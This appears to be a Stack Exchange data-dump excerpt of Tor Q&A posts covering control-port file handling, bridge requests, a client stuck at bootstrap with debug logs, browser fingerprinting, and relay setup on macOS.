  <row Id="22342" PostTypeId="1" AcceptedAnswerId="22395" CreationDate="2021-04-28T11:39:51.270" Score="1" ViewCount="304" Body="&lt;p&gt;It is possible to start Tor with the following arguments (or parameters in Tor's config file):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;--ControlPort auto --ControlPortWriteToFile &amp;lt;TEMPORARY_FILE_PATH&amp;gt;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;So Tor &lt;a href=&quot;https://github.com/torproject/tor/blob/1d18ecbc5f74e8aba8096e9bfd851ff775bbce0d/src/feature/control/control.c#L134&quot; rel=&quot;nofollow noreferrer&quot;&gt;writes&lt;/a&gt; to &lt;code&gt;&amp;lt;TEMPORARY_FILE_PATH&amp;gt;&lt;/code&gt; file the following:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;PORT=127.0.0.1:58771&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and you just read it in your program. This sounds obvious but if I'm not missing something it is not.&lt;/p&gt;&#xA;&lt;p&gt;So I think the following steps are necessary to read the correct port number:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Make sure that &lt;code&gt;&amp;lt;TEMPORARY_FILE_PATH&amp;gt;&lt;/code&gt; does not exist [to eliminate risk that you read some old value].&lt;/li&gt;&#xA;&lt;li&gt;Start Tor process with the arguments&lt;/li&gt;&#xA;&lt;li&gt;Wait until &lt;code&gt;&amp;lt;TEMPORARY_FILE_PATH&amp;gt;&lt;/code&gt; file exists [the file may exist but its content may not be flushed just yet now]&lt;/li&gt;&#xA;&lt;li&gt;Repeat&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Open &lt;code&gt;&amp;lt;TEMPORARY_FILE_PATH&amp;gt;&lt;/code&gt; file for reading and read a single line (ending with &lt;code&gt;\n&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;li&gt;When the line starts with &lt;code&gt;PORT=&lt;/code&gt;, you can parse the port -&amp;gt; success &amp;amp; break from loop.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;I'm aware that you can start Tor and just wait few hunder milliseconds, read the file and you'll get &lt;em&gt;most likely&lt;/em&gt; the correct port number. However, I want to read always the correct port number.&lt;/p&gt;&#xA;&lt;p&gt;My question is: What is the recommended (and correct) procedure to read the control port number?&lt;/p&gt;&#xA;" OwnerUserId="32242" LastActivityDate="2021-05-19T13:09:45.363" Title="How to correctly read the control port when Tor is started with `--ControlPort auto --ControlPortWriteToFile &lt;TEMPORARY_PATH&gt;`?" Tags="|configuration|client|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22345" PostTypeId="1" CreationDate="2021-04-29T02:37:32.250" Score="1" ViewCount="883" Body="&lt;p&gt;Attempted to connect to a Tor bridge (obfs4) using bridges.torproject.org but none of the bridges would connect. Would the next step be to request private bridges by e-mail? Also why does the tool only accept e-mail requests from Riseup or gmail? It's difficult to obtain an invite to get a Riseup account and gmail is not a good way to receive the bridges.&lt;/p&gt;&#xA;" OwnerUserId="32323" LastActivityDate="2021-04-30T01:33:38.460" Title="Tor Bridge Connection" Tags="|bridge|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22346" PostTypeId="1" CreationDate="2021-04-29T12:12:30.243" Score="0" ViewCount="775" Body="&lt;p&gt;I have been using Tor for while. It was working fine but today it refuses to start. It gets stuck here (at start-up):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Apr 29 08:06:14.918 [notice] Tor 0.4.4.0-alpha-dev (git-b6e60f26dd04fa4f) running on Linux with Libevent 2.1.8-stable, OpenSSL 1.1.1, Zlib 1.2.11, Liblzma 5.2.2, and Libzstd N/A.&#xA;Apr 29 08:06:14.918 [notice] Tor can't help you if you use it wrong! Learn how to be safe at https://www.torproject.org/download/download#warning&#xA;Apr 29 08:06:14.918 [notice] This version is not a stable Tor release. Expect more bugs than usual.&#xA;Apr 29 08:06:14.918 [notice] Read configuration file &amp;quot;/usr/local/etc/tor/torrc&amp;quot;.&#xA;Apr 29 08:06:14.919 [warn] ControlPort is open, but no authentication method has been configured.  This means that any program on your computer can reconfigure your Tor.  That's bad!  You should upgrade your Tor controller as soon as possible.&#xA;Apr 29 08:06:14.919 [notice] Opening Socks listener on 127.0.0.1:9050&#xA;Apr 29 08:06:14.919 [notice] Opened Socks listener on 127.0.0.1:9050&#xA;Apr 29 08:06:14.919 [notice] Opening Control listener on 127.0.0.1:9051&#xA;Apr 29 08:06:14.919 [notice] Opened Control listener on 127.0.0.1:9051&#xA;Apr 29 08:06:14.000 [notice] Parsing GEOIP IPv4 file /usr/local/share/tor/geoip.&#xA;Apr 29 08:06:14.000 [notice] Parsing GEOIP IPv6 file /usr/local/share/tor/geoip6.&#xA;Apr 29 08:06:15.000 [notice] Bootstrapped 0% (starting): Starting&#xA;Apr 29 08:06:15.000 [notice] Starting with guard context &amp;quot;default&amp;quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I have tried rebooting and &lt;code&gt;sudo killall tor&lt;/code&gt; multiple times. Also, I have re installed Tor. I found a similar issue here: &lt;a href=&quot;https://tor.stackexchange.com/questions/22125/tor-stuck-at-0&quot;&gt;Tor stuck at 0%&lt;/a&gt; , but no one answered.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Apr 29 12:30:13.000 [notice] Tor 0.4.4.0-alpha-dev (git-b6e60f26dd04fa4f) opening new log file.&#xA;Apr 29 12:30:13.255 [notice] Tor 0.4.4.0-alpha-dev (git-b6e60f26dd04fa4f) running on Linux with Libevent 2.1.8-stable, OpenSSL 1.1.1, Zlib 1.2.11, Liblzma 5.2.2, and Libzstd N/A.&#xA;Apr 29 12:30:13.255 [notice] Tor can't help you if you use it wrong! Learn how to be safe at https://www.torproject.org/download/download#warning&#xA;Apr 29 12:30:13.255 [notice] This version is not a stable Tor release. Expect more bugs than usual.&#xA;Apr 29 12:30:13.255 [notice] Read configuration file &amp;quot;/usr/local/etc/tor/torrc&amp;quot;.&#xA;Apr 29 12:30:13.256 [warn] ControlPort is open, but no authentication method has been configured.  This means that any program on your computer can reconfigure your Tor.  That's bad!  You should upgrade $&#xA;Apr 29 12:30:13.256 [notice] Opening Socks listener on 127.0.0.1:9050&#xA;Apr 29 12:30:13.256 [notice] Opened Socks listener on 127.0.0.1:9050&#xA;Apr 29 12:30:13.256 [notice] Opening Control listener on 127.0.0.1:9051&#xA;Apr 29 12:30:13.256 [notice] Opened Control listener on 127.0.0.1:9051&#xA;Apr 29 12:30:13.000 [notice] Parsing GEOIP IPv4 file /usr/local/share/tor/geoip.&#xA;Apr 29 12:30:13.000 [notice] Parsing GEOIP IPv6 file /usr/local/share/tor/geoip6.&#xA;Apr 29 12:30:13.000 [notice] Bootstrapped 0% (starting): Starting&#xA;Apr 29 12:30:13.000 [notice] Starting with guard context &amp;quot;default&amp;quot;&#xA;Apr 29 12:30:22.000 [notice] Interrupt: exiting cleanly.&#xA;Apr 29 12:31:51.000 [notice] Tor 0.4.4.0-alpha-dev (git-b6e60f26dd04fa4f) opening log file.&#xA;Apr 29 12:31:51.988 [notice] Tor 0.4.4.0-alpha-dev (git-b6e60f26dd04fa4f) running on Linux with Libevent 2.1.8-stable, OpenSSL 1.1.1, Zlib 1.2.11, Liblzma 5.2.2, and Libzstd N/A.&#xA;Apr 29 12:31:51.988 [notice] Tor can't help you if you use it wrong! Learn how to be safe at https://www.torproject.org/download/download#warning&#xA;Apr 29 12:31:51.988 [notice] This version is not a stable Tor release. Expect more bugs than usual.&#xA;Apr 29 12:31:51.988 [notice] Read configuration file &amp;quot;/usr/local/etc/tor/torrc&amp;quot;.&#xA;Apr 29 12:31:51.989 [warn] ControlPort is open, but no authentication method has been configured.  This means that any program on your computer can reconfigure your Tor.  That's bad!  You should upgrade $&#xA;Apr 29 12:31:51.989 [notice] Opening Socks listener on 127.0.0.1:9050&#xA;Apr 29 12:31:51.989 [notice] Opened Socks listener on 127.0.0.1:9050&#xA;Apr 29 12:31:51.989 [notice] Opening Control listener on 127.0.0.1:9051&#xA;Apr 29 12:31:51.989 [notice] Opened Control listener on 127.0.0.1:9051&#xA;Apr 29 12:31:51.000 [warn] Your log may contain sensitive information - you're logging more than &amp;quot;notice&amp;quot;. Don't log unless it serves an important reason. Overwrite the log afterwards.&#xA;Apr 29 12:31:51.000 [info] options_commit_listener_transaction(): Recomputed OOS thresholds: ConnLimit 1000, ConnLimit_ 4064, ConnLimit_high_thresh 4000, ConnLimit_low_thresh 3048&#xA;Apr 29 12:31:51.000 [info] crypto_openssl_late_init(): NOT using OpenSSL engine support.&#xA;Apr 29 12:31:51.000 [info] evaluate_evp_for_aes(): This version of OpenSSL has a known-good EVP counter-mode implementation. Using it.&#xA;Apr 29 12:31:51.000 [debug] tor_disable_debugger_attach(): Attemping to disable debugger attachment to Tor for unprivileged users.&#xA;Apr 29 12:31:51.000 [info] tor_lockfile_lock(): Locking &amp;quot;/home/arushiarora/.tor/lock&amp;quot;&#xA;Apr 29 12:31:51.000 [debug] parse_dir_authority_line(): Trusted 100 dirserver at 128.31.0.39:9131 (9695)&#xA;Apr 29 12:31:51.000 [debug] parse_dir_authority_line(): Trusted 100 dirserver at 86.59.21.38:80 (847B)&#xA;Apr 29 12:31:51.000 [debug] parse_dir_authority_line(): Trusted 100 dirserver at 45.66.33.45:80 (7EA6)&#xA;Apr 29 12:31:51.000 [debug] parse_dir_authority_line(): Trusted 16 dirserver at 66.111.2.131:9030 (BA44)&#xA;Apr 29 12:31:51.000 [debug] parse_dir_authority_line(): Trusted 100 dirserver at 131.188.40.189:80 (F204)&#xA;Apr 29 12:31:51.000 [debug] parse_dir_authority_line(): Trusted 100 dirserver at 193.23.244.244:80 (7BE6)&#xA;Apr 29 12:31:51.000 [debug] parse_dir_authority_line(): Trusted 100 dirserver at 171.25.193.9:443 (BD6A)&#xA;Apr 29 12:31:51.000 [debug] parse_dir_authority_line(): Trusted 100 dirserver at 154.35.175.225:80 (CF6D)&#xA;Apr 29 12:31:51.000 [debug] parse_dir_authority_line(): Trusted 100 dirserver at 199.58.81.140:80 (74A9)&#xA;Apr 29 12:31:51.000 [debug] parse_dir_authority_line(): Trusted 100 dirserver at 204.13.164.118:80 (24E2)&#xA;Apr 29 12:31:51.000 [debug] file_status(): stat()ing /home/arushiarora/.tor/state&#xA;Apr 29 12:31:51.000 [debug] subsystems_register_state_formats(): Added state format for mainloop with index 0&#xA;Apr 29 12:31:51.000 [info] or_state_load(): Loaded state from &amp;quot;/home/arushiarora/.tor/state&amp;quot;&#xA;Apr 29 12:31:51.000 [debug] get_guard_selection_by_name(): Creating a guard selection called default&#xA;Apr 29 12:31:51.000 [debug] get_guard_selection_by_name(): Creating a guard selection called restricted&#xA;Apr 29 12:31:51.000 [info] sampled_guards_update_from_consensus(): Not updating the sample guard set; we have no reasonably live consensus.&#xA;Apr 29 12:31:51.000 [debug] entry_guard_set_filtered_flags(): Updated sampled guard Akka ($56927E61B51E6F363FB55498150A6DDFCF7077F2): filtered=0; reachable_filtered=0.&#xA;Apr 29 12:31:51.000 [debug] entry_guard_set_filtered_flags(): Updated sampled guard Unnamed ($ED4BF9F309F002D548F34DB5DEE2ED8D095AE7E6): filtered=0; reachable_filtered=0.&#xA;Apr 29 12:31:51.000 [debug] entry_guard_set_filtered_flags(): Updated sampled guard Unnamed ($FF3D6D040641D5A33ECC8B2B57D5BC59714C4209): filtered=0; reachable_filtered=0.&#xA;Apr 29 12:31:51.000 [debug] entry_guard_set_filtered_flags(): Updated sampled guard albert ($A6931873A2E19FD9109318F430592907D003582F): filtered=0; reachable_filtered=0.&#xA;Apr 29 12:31:51.000 [debug] entry_guard_set_filtered_flags(): Updated sampled guard investigator ($288C100FFA656938C23F32207CAF0DA932ECD247): filtered=0; reachable_filtered=0.&#xA;Apr 29 12:31:51.000 [debug] entry_guard_set_filtered_flags(): Updated sampled guard Protecc ($6A1B4F8A87E327F4E115A385206C0880DB051B3B): filtered=0; reachable_filtered=0.&#xA;Apr 29 12:31:51.000 [debug] entry_guard_set_filtered_flags(): Updated sampled guard Srv11MuchRelay ($462ECB5FF94C6AB6971E451710B748BE20F7CC8B): filtered=0; reachable_filtered=0.&#xA;Apr 29 12:31:51.000 [debug] entry_guard_set_filtered_flags(): Updated sampled guard Enterprise ($21EB2176DFD7364A8E3705ABF518E880362425FC): filtered=0; reachable_filtered=0.&#xA;Apr 29 12:31:51.000 [debug] entry_guard_set_filtered_flags(): Updated sampled guard brotherhood ($B0A63BC3FDA67A7ADD1BE08BAA8309C4B204D29B): filtered=0; reachable_filtered=0.&#xA;Apr 29 12:31:51.000 [debug] entry_guard_set_filtered_flags(): Updated sampled guard Unnamed ($088A6237EED87EDEB0E1E3AD0A4A419F963F0787): filtered=0; reachable_filtered=0.&#xA;Apr 29 12:31:51.000 [debug] entry_guard_set_filtered_flags(): Updated sampled guard dc6jgk7c ($F0F5074A6DADD3DC22E1FAA18FD6D89CBC52771A): filtered=0; reachable_filtered=0.&#xA;Apr 29 12:31:51.000 [debug] entry_guard_set_filtered_flags(): Updated sampled guard Unnamed ($B2CB9E5C80367C9026A806EC4801E22425AA7E8A): filtered=0; reachable_filtered=0.&#xA;Apr 29 12:31:51.000 [debug] entry_guard_set_filtered_flags(): Updated sampled guard absturztaubetor ($72A33E374DE5AD1E617394896F0FD8B092D3E7C4): filtered=0; reachable_filtered=0.&#xA;Apr 29 12:31:51.000 [debug] entry_guard_set_filtered_flags(): Updated sampled guard obiwan ($E81993EA52B73285CFFD02FEC003569D21483001): filtered=0; reachable_filtered=0.&#xA;Apr 29 12:31:51.000 [debug] entry_guard_set_filtered_flags(): Updated sampled guard FissionEx3 ($4FDDFAD51B24DDABB62FB59071F4DC421E76C685): filtered=0; reachable_filtered=0.&#xA;Apr 29 12:31:51.000 [debug] entry_guard_set_filtered_flags(): Updated sampled guard Islay ($F4873B3EC3325B81DC36C7E38AD3A5ED12B2F339): filtered=0; reachable_filtered=0.&#xA;Apr 29 12:31:51.000 [debug] entry_guard_set_filtered_flags(): Updated sampled guard tiflin ($74B8B22AF950B0BE11D8A228FB09D2F5279FB757): filtered=0; reachable_filtered=0.&#xA;Apr 29 12:31:51.000 [debug] entry_guard_set_filtered_flags(): Updated sampled guard Unnamed ($6822B5AE8E9613B8E691870ABC13647C061C3016): filtered=0; reachable_filtered=0.&#xA;Apr 29 12:31:51.000 [debug] entry_guard_set_filtered_flags(): Updated sampled guard Unnamed ($7A3E534C033E3836BD5AF223B642853C502AB33A): filtered=0; reachable_filtered=0.&#xA;Apr 29 12:31:51.000 [debug] entry_guard_set_filtered_flags(): Updated sampled guard taster ($699388030AFC5C110822C85DE97A51545B192987): filtered=0; reachable_filtered=0.&#xA;Apr 29 12:31:51.000 [debug] entry_guard_set_filtered_flags(): Updated sampled guard itomori ($861BCFDD148973985E7FE97C7455C9E4AC4E13BE): filtered=0; reachable_filtered=0.&#xA;Apr 29 12:31:51.000 [debug] entry_guard_set_filtered_flags(): Updated sampled guard hsjeufh24h7 ($37C1D66559D0C7884E3D21F7DEB58C75D79B98A8): filtered=0; reachable_filtered=0.&#xA;Apr 29 12:31:51.000 [debug] entry_guard_set_filtered_flags(): Updated sampled guard chocolaterain ($40CDE936B04B4573A47223396006443CA5EAC845): filtered=0; reachable_filtered=0.&#xA;Apr 29 12:31:51.000 [debug] entry_guard_set_filtered_flags(): Updated sampled guard Unnamed ($9CC696EDB5806FDF0C4D6E21B723EC4FF3714CA4): filtered=0; reachable_filtered=0.&#xA;Apr 29 12:31:51.000 [info] sample_reachable_filtered_entry_guards(): Trying to sample a reachable guard: We know of 0 in the USABLE_FILTERED set.&#xA;Apr 29 12:31:51.000 [info] sample_reachable_filtered_entry_guards():   (That isn't enough. Trying to expand the sample.)&#xA;Apr 29 12:31:51.000 [info] entry_guards_expand_sample(): Not expanding the sample guard set; we have no reasonably live consensus.&#xA;Apr 29 12:31:51.000 [info] sample_reachable_filtered_entry_guards():   (After filters [b], we have 0 guards to consider.)&#xA;Apr 29 12:31:51.000 [info] sampled_guards_update_from_consensus(): Not updating the sample guard set; we have no reasonably live consensus.&#xA;Apr 29 12:31:51.000 [debug] entry_guard_set_filtered_flags(): Updated sampled guard UWashingtonCSE ($AE31E0FBF0D3E1B39F1DD8F55BC070D11AF524B0): filtered=0; reachable_filtered=0.&#xA;Apr 29 12:31:51.000 [debug] entry_guard_set_filtered_flags(): Updated sampled guard MPtrr1 ($F117B31DF6A73D6F015BCEE4E6AB13474B18A16F): filtered=0; reachable_filtered=0.&#xA;Apr 29 12:31:51.000 [debug] entry_guard_set_filtered_flags(): Updated sampled guard bauruine111 ($E2CF09F998248C71139B24B2C92740AEDB1C6D2A): filtered=0; reachable_filtered=0.&#xA;Apr 29 12:31:51.000 [debug] entry_guard_set_filtered_flags(): Updated sampled guard Init6TorRelay ($A22B1C2EF2255987F8AB8AA0B1A8E23F5023EEB8): filtered=0; reachable_filtered=0.&#xA;Apr 29 12:31:51.000 [debug] entry_guard_set_filtered_flags(): Updated sampled guard Tor ($60F2139EA3E06410A05CBD6E8254E60A9063AD9D): filtered=0; reachable_filtered=0.&#xA;Apr 29 12:31:51.000 [debug] entry_guard_set_filtered_flags(): Updated sampled guard Unnamed ($EDF54840C052F226EBDF27D8CB3F8B25E3998DC2): filtered=0; reachable_filtered=0.&#xA;Apr 29 12:31:51.000 [debug] entry_guard_set_filtered_flags(): Updated sampled guard Stormfront ($AFBE45546DF32BE7914D866D86F44D179E5B1AF0): filtered=0; reachable_filtered=0.&#xA;Apr 29 12:31:51.000 [debug] entry_guard_set_filtered_flags(): Updated sampled guard 324partyvan ($91BA193FB362FB7B6679A7A83A3050F3C44A5468): filtered=0; reachable_filtered=0.&#xA;Apr 29 12:31:51.000 [debug] entry_guard_set_filtered_flags(): Updated sampled guard Unnamed ($D2A056E6321962BD77763FE269E26400A58278F2): filtered=0; reachable_filtered=0.&#xA;Apr 29 12:31:51.000 [debug] entry_guard_set_filtered_flags(): Updated sampled guard Mudkip ($75983F5660D894FCF2BE452DB35F3E594ADE4B08): filtered=0; reachable_filtered=0.&#xA;Apr 29 12:31:51.000 [debug] entry_guard_set_filtered_flags(): Updated sampled guard atoraphobia ($9E43E7D22776AD4534865C9517A5B8962BD39B5D): filtered=0; reachable_filtered=0.&#xA;Apr 29 12:31:51.000 [debug] entry_guard_set_filtered_flags(): Updated sampled guard chonk ($4561FC085C3F3A7271FE960317F02DCD1E9C1188): filtered=0; reachable_filtered=0.&#xA;Apr 29 12:31:51.000 [debug] entry_guard_set_filtered_flags(): Updated sampled guard Unnamed ($DE4F6E528A9FEB1B79BC3D7D24E8BF5BCDEDA0A1): filtered=0; reachable_filtered=0.&#xA;Apr 29 12:31:51.000 [debug] entry_guard_set_filtered_flags(): Updated sampled guard myNiceRelay ($872108C52C52CC10217A351C883E991AEDF7C470): filtered=0; reachable_filtered=0.&#xA;Apr 29 12:31:51.000 [debug] entry_guard_set_filtered_flags(): Updated sampled guard Mowgli ($889944F540C155E7E32C909B9E1424677689AD4D): filtered=0; reachable_filtered=0.&#xA;Apr 29 12:31:51.000 [debug] entry_guard_set_filtered_flags(): Updated sampled guard focaltohr ($83AEDBDB4BE3AD0ED91850BF1A521B843077759E): filtered=0; reachable_filtered=0.&#xA;Apr 29 12:31:51.000 [debug] entry_guard_set_filtered_flags(): Updated sampled guard BringMeToLife ($343EC037D633150AFFCC8471E805AABAE1B1D871): filtered=0; reachable_filtered=0.&#xA;Apr 29 12:31:51.000 [debug] entry_guard_set_filtered_flags(): Updated sampled guard bauruine ($0F7FC8A71C9EB70F497297FDADD1CD3B038C99AB): filtered=0; reachable_filtered=0.&#xA;Apr 29 12:31:51.000 [debug] entry_guard_set_filtered_flags(): Updated sampled guard Unnamed ($8C0EFD59A37E2FD9BDCB66A6A35774A4066817EA): filtered=0; reachable_filtered=0.&#xA;Apr 29 12:31:51.000 [debug] entry_guard_set_filtered_flags(): Updated sampled guard NeelTorRelayA ($B0F9BA27944FA59E3B1A182208FF7C0CFF5497B2): filtered=0; reachable_filtered=0.&#xA;Apr 29 12:31:51.000 [info] sample_reachable_filtered_entry_guards(): Trying to sample a reachable guard: We know of 0 in the USABLE_FILTERED set.&#xA;Apr 29 12:31:51.000 [info] sample_reachable_filtered_entry_guards():   (That isn't enough. Trying to expand the sample.)&#xA;Apr 29 12:31:51.000 [info] entry_guards_expand_sample(): Not expanding the sample guard set; we have no reasonably live consensus.&#xA;Apr 29 12:31:51.000 [info] sample_reachable_filtered_entry_guards():   (After filters [b], we have 0 guards to consider.)&#xA;Apr 29 12:31:51.000 [info] circuit_build_times_parse_state(): Adding 1 timeouts.&#xA;Apr 29 12:31:51.000 [debug] circuit_build_times_add_time(): Adding circuit build time 775&#xA;Apr 29 12:31:51.000 [debug] circuit_build_times_add_time(): Adding circuit build time 425&#xA;Apr 29 12:31:51.000 [debug] circuit_build_times_add_time(): Adding circuit build time 575&#xA;Apr 29 12:31:51.000 [debug] circuit_build_times_add_time(): Adding circuit build time 675&#xA;Apr 29 12:31:51.000 [debug] circuit_build_times_add_time(): Adding circuit build time 625&#xA;Apr 29 12:31:51.000 [debug] circuit_build_times_add_time(): Adding circuit build time 525&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="31466" LastEditorUserId="31466" LastEditDate="2021-05-15T06:15:04.893" LastActivityDate="2021-05-15T06:15:04.893" Title="Tor stuck at start-up" Tags="|configuration|torsocks|tor-install|startup|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="22347" PostTypeId="2" ParentId="22345" CreationDate="2021-04-29T19:38:17.397" Score="2" Body="&lt;blockquote&gt;&#xA;&lt;p&gt;Would the next step be to request private bridges by e-mail?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Well you have two options to get bridges:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Email &lt;code&gt;bridges@torproject.org&lt;/code&gt; through Gmail or Riseup.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use MOAT to fetch bridges from the Tor browser. If you want to know how to use MOAT, check out: &lt;a href=&quot;https://tb-manual.torproject.org/bridges/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://tb-manual.torproject.org/bridges/&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Also why does the tool only accept e-mail requests from Riseup or gmail?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;The Tor Project answers this here: &lt;a href=&quot;https://tor.void.gr/docs/bridges.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://tor.void.gr/docs/bridges.html.en&lt;/a&gt; :&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;You'll need to send this request from a Gmail, Riseup!, or Yahoo!&#xA;account, though — &lt;strong&gt;we only accept these providers because otherwise we&#xA;make it too easy for an attacker to make a lot of email addresses and&#xA;learn about all the bridges.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Also, I do not believe Yahoo is used anymore, given that the main Tor project website does not include  Yahoo as an option anymore.&lt;/p&gt;&#xA;&lt;p&gt;Further references:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://tb-manual.torproject.org/bridges/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://tb-manual.torproject.org/bridges/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://tor.void.gr/docs/bridges.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://tor.void.gr/docs/bridges.html.en&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="31632" LastActivityDate="2021-04-29T19:38:17.397" CommentCount="10" ContentLicense="CC BY-SA 4.0" />
  <row Id="22348" PostTypeId="2" ParentId="22333" CreationDate="2021-04-30T00:22:54.817" Score="0" Body="&lt;p&gt;I'm assuming you mean traffic confirmation attacks where the first and last relays use traffic patterns to link the incoming and outgoing traffic?&lt;/p&gt;&#xA;&lt;p&gt;The bridge replaces your guard relay, so the circuit looks like:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Tor client (you) &amp;lt;--&amp;gt; Bridge (you) &amp;lt;--&amp;gt; Entry relay &amp;lt;--&amp;gt; Exit relay &amp;lt;--&amp;gt; Destination&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;If the entry relay and exit relay are cooperating maliciously, then they can easily link the bridge's IP address to the websites its circuits connect to. If the malicious party knows that you run the bridge or that your personal IP address is the only one to connect to that bridge (for example by asking the company running your bridge server), then they can link that traffic to you. Now traffic confirmation attacks aren't needed at all since there are only 2 hops in the network, and they can communicate directly.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2021-04-30T00:22:54.817" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22350" PostTypeId="1" CreationDate="2021-04-30T16:32:02.290" Score="0" ViewCount="1274" Body="&lt;p&gt;Tor browser is showing as giving a large number of bits of identifying information and creating a more unique browsinng session. Is there a way to change screen resolution and color depth to match the most common (1920x1080)?&lt;/p&gt;&#xA;" OwnerUserId="32323" LastActivityDate="2021-06-02T17:04:40.433" Title="Tor Browser Screen Resolution" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="1" ClosedDate="2021-06-04T22:39:01.970" ContentLicense="CC BY-SA 4.0" />
  <row Id="22355" PostTypeId="2" ParentId="21067" CreationDate="2021-05-03T16:51:01.923" Score="0" Body="&lt;p&gt;This is less technical and more of a moral view on the predicament. One of the points of Tor and free open source software in general is that the creators of said software may not dictate what you use their making for, and that the creators may not exempt you from usage of their software because they believe what your doing with it is &amp;quot;wrong&amp;quot;. The only thing you can do that is objectively &amp;quot;wrong&amp;quot; and at which point measures would and should be made to stop you would be to break the law. But this is just streaming videos. If it bothers your conscience that much then as another user said you can watch in lower quality or even donate to the Tor project, maybe a even host a node yourself.&lt;/p&gt;&#xA;" OwnerUserId="31161" LastActivityDate="2021-05-03T16:51:01.923" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22356" PostTypeId="2" ParentId="22350" CreationDate="2021-05-03T16:59:17.180" Score="0" Body="&lt;p&gt;This isn't quite true and you may not want to do that. The reason Tor randomly changes your browser resolution is actually to make you harder to find. The resolution in one session isn't going to be the same as in a previous one. In this, Tor goes for a more spoofing like technique rather than a blending in technique. In this context which one would be more effective in protecting you I'm not quite sure of, however if the Tor developers chose this feature over default 1920x1080, then I'm sure it was the better option.&lt;/p&gt;&#xA;" OwnerUserId="31161" LastActivityDate="2021-05-03T16:59:17.180" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22357" PostTypeId="1" CreationDate="2021-05-03T17:47:22.453" Score="0" ViewCount="1011" Body="&lt;p&gt;I am looking for a (preferably Open Source) API usable in C/C++, that enables one to send/receive data over the Tor network. So I want to build an application that uses sockets to communicate data over a network, but I want that data to be sent over the Tor network instead. Is that possible? Is there a API for it?&lt;/p&gt;&#xA;" OwnerUserId="32355" LastActivityDate="2021-06-21T09:02:02.190" Title="Is there a C/C++ Tor API?" Tags="|torsocks|socks|source-code|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22358" PostTypeId="2" ParentId="21812" CreationDate="2021-05-04T13:52:31.647" Score="2" Body="&lt;p&gt;Unfortunately an old issue. Moved and closed several times but still not resolved:&#xA;&lt;a href=&quot;https://gitlab.torproject.org/legacy/trac/-/issues/26542&quot; rel=&quot;nofollow noreferrer&quot;&gt;Distribute IPv6 bridges through bridges.torproject.org.&lt;/a&gt;&#xA;&lt;a href=&quot;https://bridges.torproject.org/options&quot; rel=&quot;nofollow noreferrer&quot;&gt;BridgeDB &lt;/a&gt; so far only works for IPv6 vanilla bridges.&#xA;&lt;a href=&quot;https://metrics.torproject.org/rs.html#search/TorOrDie4privacyNET&quot; rel=&quot;nofollow noreferrer&quot;&gt;I have 2 IPv6 obfs4 bridges running in Germany.&lt;/a&gt; If you want the IP's mail me (+gpg-key) or use keybase.&lt;/p&gt;&#xA;" OwnerUserId="32361" LastActivityDate="2021-05-04T13:52:31.647" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22364" PostTypeId="1" CreationDate="2021-05-06T06:11:05.340" Score="0" ViewCount="412" Body="&lt;p&gt;I have a powerful computer and a fast internet connection. I'd like to support the Tor network by operating a relay. I've seen that there are relay packages and instructions for various versions of Linux, BSD and other Unixes, and Windows - but not MacOS. Why not? Or have I missed something?&lt;/p&gt;&#xA;" OwnerUserId="32378" LastActivityDate="2021-05-06T14:29:43.013" Title="Can a Tor relay run on MacOS?" Tags="|relays|mac|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
